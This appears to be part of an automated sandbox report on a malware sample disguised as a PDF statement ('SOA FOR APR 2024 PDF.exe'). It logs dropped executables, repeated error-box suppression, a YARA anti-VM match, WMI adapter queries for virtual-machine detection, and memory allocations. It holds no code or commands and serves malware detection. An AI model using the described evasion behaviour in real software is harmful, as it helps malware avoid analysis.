Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eeBIYZL.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7240, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 2B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 2990000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 7630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 6F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 8630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 9630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 9D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: AD30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: BD30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 2810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory allocated: 4810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 9B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 2530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 6920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 7920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 7AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 8AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 9160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 6920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 2E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 1490000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2E90000 memory reserve \| memory write watch
